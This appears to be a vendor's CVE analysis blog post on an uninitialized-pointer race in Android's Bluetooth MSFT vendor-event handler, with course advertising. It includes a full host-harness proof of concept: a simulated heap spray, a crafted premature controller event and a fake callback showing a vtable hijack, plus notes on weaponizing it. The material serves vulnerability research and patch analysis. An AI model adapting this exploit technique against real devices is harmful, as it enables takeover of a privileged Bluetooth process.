CVE Analysis · Android Security Bulletin · October 2026

The October 2026 Android Security Bulletin lists CVE-2026-49933 as a Critical DoS in the System component. The fix commit tells a more interesting story: "a compromised Bluetooth controller could exploit an initialization race condition by sending a premature MSFT_LE_MONITOR_DEVICE_EVENT during stack bring-up... potentially leading to a control-flow hijack." Both are right, and we built the PoC that shows both ends. In the Microsoft vendor-event handler of Android's Bluetooth stack, a ScanningCallback* member was declared without an initializer and read through a virtual call before anything ever assigned it. A premature controller event during bring-up turns that garbage pointer into a vtable dispatch: uncontrolled, a guaranteed crash of the Bluetooth process; groomed, an attacker-chosen call target. We compiled the real msft.cc from AOSP into a host harness and demonstrate all three regimes: natural garbage crash, fault address 0x4141414141414141 under ASan, and a deterministic hijack into a fake callback with the controller's bytes flowing into the call's arguments.

// Practice this bug class
Android Userland Fuzzing & Exploitation

Vtable hijacks, heap grooming, and sanitizer harnesses against real Android native code. This Bluetooth handler is exactly the kind of target we build, fuzz, and exploit in the course, from the first crash to a working RCE PoC.

Explore the Course →
Attack chain: remote BLE advertiser or compromised controller sends premature MSFT_LE_MONITOR_DEVICE_EVENT during bring-up, com.android.btservices runs a virtual call on a garbage scanning_callbacks_ pointer
The delivery: the event bytes are controller-supplied, the timing window is bring-up. A compromised controller speaks for itself; a stale adv monitor plus a remote BLE advertiser speaks through it.

TL;DR

CVECVE-2026-49933 (A-522372651)
BulletinDoS, Critical (System component), October 2026. Android 16 / 16-qpr2 / 17, SPL < 2026-10-01
Commit verdictInitialization race leading to a "virtual function call on an uninitialized scanning_callbacks_ pointer... control-flow hijack"
Componentpackages/modules/Bluetooth → system/gd/hci/msft.cc, MsftExtensionManager::impl::handle_le_monitor_device_event()
Root CauseScanningCallback* scanning_callbacks_; declared without initializer (msft.cc:311), read via virtual call at msft.cc:93 before SetScanningCallback() ever runs
ImpactUncontrolled: reliable crash of com.android.btservices. Groomed: vtable hijack, attacker-controlled call target with controller-supplied arguments
Attack surfaceMSFT vendor events from the Bluetooth controller; premature event during stack bring-up (malicious/compromised controller, or stale controller-side monitor across a host restart)
Fix3d959c92: {nullptr} initializer plus a drop-if-null guard

Background: The Bluetooth Chip That Watches the Air for You

The Microsoft Bluetooth HCI extension is a vendor protocol between the host stack and the controller. Its LE Advertisement Monitor feature lets Android offload device watching: an app registers a monitor (a MAC address or an advertisement pattern plus RSSI thresholds), the controller watches the air by itself, and it reports an MSFT_LE_MONITOR_DEVICE_EVENT when a matching advertiser appears or vanishes. This is the machinery behind scan-offload features like Find My Device and Nearby.

In Android's GD Bluetooth stack, MsftExtensionManager (system/gd/hci/msft.cc) owns that protocol. During bring-up it asks the HAL for the MSFT vendor opcode, reads the supported-features bitmask, and registers handle_msft_events() as the vendor event handler. Found/lost events are delivered to the rest of the stack through the ScanningCallback interface (hci/le_scanning_callback.h), an abstract class with 15 virtual methods. The manager keeps that interface as a raw pointer member, and that pointer is the whole bug.

Patch Analysis

The fix commit makes two moves in system/gd/hci/msft.cc:

-  ScanningCallback* scanning_callbacks_;
+  ScanningCallback* scanning_callbacks_{nullptr};

and, at the top of the event handler:

+    if (scanning_callbacks_ == nullptr) {
+      log::warn("scanning_callbacks_ is null, dropping Microsoft vendor event.");
+      return;
+    }

Either change alone would close the bug. Together they also make the intended semantics explicit: an event that arrives before any callback is registered gets dropped, with a log line. Nothing else about the parsing changes, which makes this another ideal patch-diffing exercise: the delta is the bug.

Root Cause: A Pointer Nobody Initialized

MsftExtensionManager::impl is created during Bluetooth bring-up with std::make_unique<impl>(this). Its constructor initializes exactly one member:

impl(Module* module) : module_(module) {}
...
ScanningCallback* scanning_callbacks_;   // msft.cc:311: no initializer

C++ is unforgiving here: make_unique runs that constructor, and scalar members left out of the initializer list are default-initialized. For a raw pointer, that means an indeterminate value, not zero. scanning_callbacks_ starts life holding whatever bytes the allocator happened to leave in that chunk. The only assignment is set_scanning_callback(), called when some other part of the stack registers for tracking events. On a fresh boot, that may happen late or never.

The read is a virtual call in the monitor-event handler (msft.cc:93):

on_found_on_lost_info.monitor_handle = view.GetMonitorHandle();
scanning_callbacks_->OnTrackAdvFoundLost(on_found_on_lost_info);

The Race: An Event That Arrives Too Early

The bring-up sequence matters:

  1. getMsftOpcode() returns nonzero: the controller speaks MSFT.
  2. The stack issues MSFT_READ_SUPPORTED_FEATURES; the completion handler stores the vendor prefix and registers the vendor event handler. From this instant, controller events dispatch into handle_msft_events().
  3. Somewhere later, the scanning side calls SetScanningCallback() and the pointer becomes valid.

Anything the controller sends between steps 2 and 3 lands on the uninitialized pointer. Who sends it? The commit's threat model is a compromised Bluetooth controller: the event bytes (address type, BD_ADDR, monitor handle, monitor state) are entirely controller-supplied. The less exotic reading: monitors are programmed into the controller, so a monitor armed before a Bluetooth restart can still be live during the next bring-up, and a remote BLE advertiser matching it is what makes the controller emit the event in the window. We flag the second path as plausible rather than demonstrated; the bug does not care which delivery you pick.

The Primitive: A Virtual Call on Garbage

scanning_callbacks_->OnTrackAdvFoundLost(info) compiles to the usual dance: load this from the member, load the vtable pointer from *this, call the slot. A garbage this means the CPU fetches a "vtable" from wherever the garbage points and calls whatever is written there. If the heap contents at that address are attacker-influenced, the attacker picks the call target. That is a textbook vtable hijack, in the com.android.btservices process (the bluetooth uid), with the controller's parsed bytes handed to the hijacked call as its argument. Uncontrolled, the same instruction is a guaranteed wild-pointer crash: every premature event kills the Bluetooth stack.

Reproducing It: Harness and Evidence

We compiled the real msft.cc from AOSP (the vulnerable parent 947e8bbe and the fix 3d959c92, one binary each) against a small stub layer. The stubs cover plumbing only: logging, the module registry, the HAL and HCI layer, packet views, and the callback type. Everything on the executed path, from handle_msft_events() through the virtual call at msft.cc:93, is genuine AOSP code. The stub HCI layer plays the compromised controller: it answers the supported-features command so bring-up completes, then injects a premature MSFT_LE_MONITOR_DEVICE_EVENT carrying de:ad:be:ef:13:37. The driver never calls SetScanningCallback(), because that is the race.

For heap grooming we use a deterministic stand-in: a global operator new override that, while armed, fills every allocation with a chosen value, so the impl object's uninitialized pointer is the spray value. Three runs:

./poc/build.sh
./build-vulnerable/driver hijack        # control-flow hijack, exit 42
./build-vulnerable-asan/driver spray41  # ASan: SEGV reading 0x4141414141414141
./build-patched/driver hijack           # event dropped, exit 0

The driver (driver.cpp)

The full harness. The interesting parts: FakeScanningCallback (a subclass of the real ScanningCallback interface whose OnTrackAdvFoundLost proves the hijack), the operator-new spray that makes the uninitialized pointer deterministic, and the main flow that walks the real bring-up before injecting the premature event:

/*
 * PoC driver for CVE-2026-49933 — Android Bluetooth (packages/modules/
 * Bluetooth, system/gd/hci/msft.cc): MsftExtensionManager::impl holds a
 * ScanningCallback* scanning_callbacks_ with NO initializer. It is only
 * assigned by set_scanning_callback(), which the stack calls well after
 * bring-up. A compromised Bluetooth controller that delivers a premature
 * MSFT_LE_MONITOR_DEVICE_EVENT during the race window reaches
 * handle_le_monitor_device_event(), which executes
 *
 *     scanning_callbacks_->OnTrackAdvFoundLost(...);   // msft.cc:93 (vuln)
 *
 * a VIRTUAL call on an indeterminate heap pointer -> vtable load from
 * attacker-influenced memory -> control-flow hijack (RCE class).
 *
 * This driver compiles the REAL msft.cc verbatim and replays the bring-up
 * race on the host:
 *
 *   1. (spray modes) arm a global operator new override so that every
 *      allocation — including make_unique<impl>() inside the real
 *      MsftExtensionManager ctor — is served from a slot filled with the
 *      spray word:
 *        spray41 -> 0x4141414141414141 (crash signature)
 *        hijack  -> &g_fake, a driver-global FakeScanningCallback that
 *                   derives from the REAL bluetooth::hci::ScanningCallback
 *      The real impl ctor leaves scanning_callbacks_ untouched, so it
 *      inherits the sprayed bytes. Disarmed right after construction.
 *   2. NEVER call SetScanningCallback() — that is the race.
 *   3. mgr->Start() runs the real bring-up: the stub HciHal reports MSFT
 *      opcode 0xFC00, the stub HciLayer synchronously answers the MSFT Read
 *      Supported Features command (features=0x2, prefix={0xAA,0x02}), so the
 *      real on_msft_read_supported_features_complete() registers the vendor
 *      event handler.
 *   4. The driver injects a crafted MSFT_LE_MONITOR_DEVICE_EVENT through the
 *      stub HciLayer (the "compromised controller"), driving the real
 *      handle_msft_events -> handle_le_monitor_device_event path.
 *
 * Expected outcomes:
 *   vulnerable + hijack  : FakeScanningCallback::OnTrackAdvFoundLost fires,
 *                          prints the controller-supplied fields, exit 42.
 *   vulnerable + spray41 : SIGSEGV / ASan "SEGV on unknown address
 *                          0x4141414141414141" on the vtable load.
 *   vulnerable + nospray : natural heap garbage — whatever happens, happens
 *                          (recorded, not asserted).
 *   patched    + any     : real null check drops the event
 *                          ("scanning_callbacks_ is null, dropping Microsoft
 *                          vendor event."), clean return, exit 0.
 */

#include <cinttypes>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <new>
#include <vector>

#include "hal/hci_hal.h"
#include "hci/hci_layer.h"
#include "hci/msft.h"

namespace {

// ---------------------------------------------------------------------------
// Heap-spray state (consulted by the global operator new override below)
// ---------------------------------------------------------------------------

bool g_spray_armed = false;
uint64_t g_spray_word = 0;

// Set when the hijacked virtual call lands on our fake object.
bool g_hijacked = false;

}  // namespace

// ---------------------------------------------------------------------------
// Global operator new override: while armed, EVERY allocation is served from
// a fresh slot filled entirely with the spray word. This is what places the
// attacker-controlled bytes into the real impl's uninitialized
// scanning_callbacks_ member. Disarmed immediately after the manager is
// constructed, so all later allocations behave normally.
// ---------------------------------------------------------------------------

void* operator new(size_t size) {
  if (g_spray_armed) {
    size_t slot = (size + 15) & ~(size_t)15;
    void* p = std::malloc(slot);
    if (p == nullptr) throw std::bad_alloc();
    auto* words = static_cast<uint64_t*>(p);
    for (size_t i = 0; i < slot / 8; i++) words[i] = g_spray_word;
    return p;
  }
  void* p = std::malloc(size == 0 ? 1 : size);
  if (p == nullptr) throw std::bad_alloc();
  return p;
}

void* operator new[](size_t size) { return operator new(size); }
void operator delete(void* p) noexcept { std::free(p); }
void operator delete[](void* p) noexcept { std::free(p); }
void operator delete(void* p, size_t) noexcept { std::free(p); }
void operator delete[](void* p, size_t) noexcept { std::free(p); }

namespace {

// ---------------------------------------------------------------------------
// FakeScanningCallback — the "attacker-controlled object". Derives from the
// REAL bluetooth::hci::ScanningCallback; in hijack mode the sprayed impl's
// scanning_callbacks_ == &g_fake, so the real virtual call at msft.cc:93
// lands here. 14 of the 15 overrides are inert; OnTrackAdvFoundLost is the
// payload.
// ---------------------------------------------------------------------------

class FakeScanningCallback : public bluetooth::hci::ScanningCallback {
public:
  void OnScannerRegistered(bluetooth::hci::Uuid, bluetooth::hci::ScannerId,
                           ScanningStatus) override {}
  void OnSetScannerParameterComplete(bluetooth::hci::ScannerId, ScanningStatus) override {}
  void OnScanResult(uint16_t, uint8_t, bluetooth::hci::Address, uint8_t, uint8_t, uint8_t,
                    int8_t, int8_t, uint16_t, std::vector<uint8_t>) override {}
  void OnTrackAdvFoundLost(bluetooth::hci::AdvertisingFilterOnFoundOnLostInfo info) override {
    g_hijacked = true;
    std::fprintf(stderr,
                 "[!!!] CONTROL-FLOW HIJACK: OnTrackAdvFoundLost() reached on "
                 "attacker-controlled object (this=%p)\n",
                 (void*)this);
    std::fprintf(stderr,
                 "[!!!]   advertiser_address=%s address_type=0x%02x "
                 "monitor_handle=0x%02x advertiser_state=0x%02x\n",
                 info.advertiser_address.ToString().c_str(), info.advertiser_address_type,
                 info.monitor_handle, info.advertiser_state);
  }
  void OnBatchScanReports(int, int, int, int, std::vector<uint8_t>) override {}
  void OnBatchScanThresholdCrossed(int) override {}
  void OnTimeout() override {}
  void OnFilterEnable(bluetooth::hci::Enable, uint8_t) override {}
  void OnFilterParamSetup(uint8_t, bluetooth::hci::ApcfAction, uint8_t) override {}
  void OnFilterConfigCallback(bluetooth::hci::ApcfFilterType, uint8_t, bluetooth::hci::ApcfAction,
                              uint8_t) override {}
  void OnPeriodicSyncStarted(int, uint8_t, uint16_t, uint8_t, bluetooth::hci::AddressWithType,
                             uint8_t, uint16_t) override {}
  void OnPeriodicSyncReport(uint16_t, int8_t, int8_t, uint8_t, std::vector<uint8_t>) override {}
  void OnPeriodicSyncLost(uint16_t) override {}
  void OnPeriodicSyncTransferred(int, uint8_t, bluetooth::hci::Address) override {}
  void OnBigInfoReport(uint16_t, bool) override {}
};

FakeScanningCallback g_fake;

// Access adapter: Start()/Stop() are protected in the real hci/msft.h (they
// are meant for the GD module registry, which this driver replaces). The
// using-declarations re-expose them. No object of this type is ever created
// — we static_cast a real MsftExtensionManager* — so this TU never emits an
// adapter vtable and never instantiates ~MsftExtensionManager (which would
// require the private impl type to be complete).
struct MsftAccess : bluetooth::hci::MsftExtensionManager {
  using bluetooth::hci::MsftExtensionManager::Start;
  using bluetooth::hci::MsftExtensionManager::Stop;
};

}  // namespace

int main(int argc, char** argv) {
  if (argc != 2 ||
      (std::strcmp(argv[1], "nospray") && std::strcmp(argv[1], "spray41") &&
       std::strcmp(argv[1], "hijack"))) {
    std::fprintf(stderr, "usage: %s [nospray|spray41|hijack]\n", argv[0]);
    return 2;
  }
  const char* mode = argv[1];

  std::fprintf(stderr,
               "[*] CVE-2026-49933 PoC: MsftExtensionManager uninitialized scanning_callbacks_ "
               "(variant=%s)\n",
               CVE_VARIANT);
  std::fprintf(stderr, "[*] mode=%s\n", mode);

  if (!std::strcmp(mode, "spray41")) {
    g_spray_word = 0x4141414141414141ULL;
    g_spray_armed = true;
  } else if (!std::strcmp(mode, "hijack")) {
    g_spray_word = (uint64_t)(uintptr_t)&g_fake;
    g_spray_armed = true;
  }
  if (g_spray_armed) {
    std::fprintf(stderr,
                 "[*] heap spray ARMED (fill word 0x%016" PRIx64
                 "): every allocation returns sprayed bytes\n",
                 g_spray_word);
  }

  // The race window opens here: the real MsftExtensionManager ctor runs
  // make_unique<impl>(this); the vulnerable impl leaves scanning_callbacks_
  // uninitialized, so it inherits whatever bytes the allocator hands back.
  // The object is heap-allocated and intentionally leaked: destroying it
  // here would instantiate ~MsftExtensionManager in this TU, where the
  // private impl type is incomplete (process exit reclaims it anyway).
  auto* mgr = static_cast<MsftAccess*>(new bluetooth::hci::MsftExtensionManager());
  g_spray_armed = false;
  std::fprintf(stderr, "[*] MsftExtensionManager constructed; spray disarmed\n");
  std::fprintf(stderr, "[*] NOT calling SetScanningCallback(): the event must win the race\n");

  // Same dependency instances the real Start() will pull from the registry.
  auto* hci_layer = mgr->GetDependency<bluetooth::hci::HciLayer>();
  auto* hal = mgr->GetDependency<bluetooth::hal::HciHal>();
  std::fprintf(stderr, "[*] stub HAL reports MSFT opcode 0x%04x\n", hal->getMsftOpcode());

  std::fprintf(stderr,
               "[*] Start(): stub HciLayer answers MSFT Read Supported Features "
               "(features=0x2, prefix={0xAA,0x02})\n");
  mgr->Start();
  std::fprintf(stderr,
               "[*] bring-up complete: vendor event handler registered, "
               "scanning callback still UNREGISTERED\n");

  // The compromised controller delivers a premature monitor-device event.
  std::vector<uint8_t> event = {
          0x02,                                      // payload[0] == prefix[1] (passes real prefix check)
          0x02,                                      // MSFT_LE_MONITOR_DEVICE_EVENT
          0x01,                                      // address_type
          0xde, 0xad, 0xbe, 0xef, 0x13, 0x37,        // bd_addr
          0x42,                                      // monitor_handle
          0x01,                                      // monitor_state (0x01 = "found")
  };
  std::fprintf(stderr,
               "[controller] premature MSFT_LE_MONITOR_DEVICE_EVENT: "
               "addr=de:ad:be:ef:13:37 addr_type=0x01 monitor_handle=0x42 state=0x01\n");
  hci_layer->fireVendorEvent(event);

  std::fprintf(stderr, "[*] handler returned cleanly\n");

  if (!std::strcmp(mode, "hijack")) {
    if (g_hijacked) {
      std::fprintf(stderr, "[*] RESULT: attacker-controlled callback executed -> exit 42\n");
      return 42;
    }
    std::fprintf(stderr, "[*] RESULT: no hijack (event was dropped)\n");
  }
  return 0;
}

Run one: natural garbage

With no spray at all, the vulnerable build dereferences a wild pointer and dies with SIGSEGV. The uninitialized read needs no help from us.

Run two: spray 0x41 (ASan)

Every qword in the fresh impl is 0x4141414141414141. The vtable load faults exactly there, with the real dispatch stack from handle_msft_events (msft.cc:119) into the buggy call (msft.cc:93):

ASan report: SEGV on unknown address 0x4141414141414141 in MsftExtensionManager::impl::handle_le_monitor_device_event, msft.cc:93, called from handle_msft_events, msft.cc:119
The ASan build captures the wild virtual call: fault address is the spray value, the stack is the real event dispatch.

Run three: the hijack

Every qword is the address of a FakeScanningCallback, our subclass of the real ScanningCallback interface. The virtual call lands exactly on the spray word, and the controller's bytes arrive as the argument:

Hijack run: premature MSFT event injected, CONTROL-FLOW HIJACK OnTrackAdvFoundLost reached on attacker-controlled object, advertiser_address de:ad:be:ef:13:37, exit 42
Control-flow hijack, deterministically: this equals the spray word, and the parsed controller bytes (de:ad:be:ef:13:37, handle 0x42, state 0x01) reach the hijacked call. Exit 42 is our canary for "attacker code ran".

The patched binary drops the event in every mode and exits 0:

[controller] premature MSFT_LE_MONITOR_DEVICE_EVENT: addr=de:ad:be:ef:13:37 handle=0x42 state=0x01
[bt:WARN] scanning_callbacks_ is null, dropping Microsoft vendor event.
[*] RESULT: no hijack (event was dropped)
exit=0

Exploitability

The bulletin-to-commit rating gap resolves cleanly once you separate the regimes. Uncontrolled, the bug is a reliable kill switch for Bluetooth on any MSFT-capable device: that is the DoS floor Google rated, and it is already Critical-worthy. Groomed, it is PC control in the Bluetooth process: that is the ceiling the commit warns about, and our harness demonstrates it deterministically.

Weaponization has two honest hurdles. First, the race: the event must arrive in the bring-up window, which needs a cooperative (malicious, compromised, or confused-by-a-restart) controller. Second, the garbage pointer must point at attacker-influenced bytes: the object is allocated early in process init, so grooming works the pre-Start heap. Whether the shipped btservices APEX enforces forward-edge CFI on this call is an open question worth checking per target; a strict CFI build would turn the hijack into a controlled abort. As a cross-layer primitive, though, this is exactly what a baseband or BT-controller exploit wants next: a virtual call on attacker-adjacent state with attacker-supplied arguments.

Lessons

  • Uninitialized members in staged start-up are remote bugs waiting for a timer. The dangerous order is registering the event handler first and filling the state later. Registration order is a security property.
  • {nullptr} costs one token. A one-line in-class initializer would have made this a non-issue at review time. Grep your own tree for raw pointer members without initializers in classes that arm callbacks during bring-up.
  • Vendor events are remote input. The bytes in this handler are entirely controller-supplied and the handler runs in a privileged process. "The chip said it" deserves the same skepticism as any network packet.
  • Bulletin types understate. "DoS" describes the un-weaponized floor. Reading the fix commit (and testing the primitive) is how you find the ceiling.

Want to find and exploit bugs like this yourself? Vtable hijacks and heap grooming in Android native processes are core topics of Android Userland Fuzzing & Exploitation, the only course that takes you from AFL++/libFuzzer harnesses on Android native code, through crash triage and root-cause analysis, to a working exploit.

  • Android Userland Fuzzing & Exploitation: fuzz privileged native code like this Bluetooth handler, from crash to RCE PoC
  • Android Application Security (free): the app/platform model and the IPC surfaces this bug crosses
  • Advanced Android Hacking: chaining vulnerabilities across system components into full device compromise

References

  • Android Security Bulletin — October 2026
  • Fix commit 3d959c92: "Fix uninitialized pointer dereference in MsftExtensionManager"
  • Microsoft-defined Bluetooth HCI commands and events

Staged bring-up code is where initialization races live. Learn to fuzz and exploit Android native code in Android Userland Fuzzing & Exploitation, then learn to chain bugs across components in Advanced Android Hacking.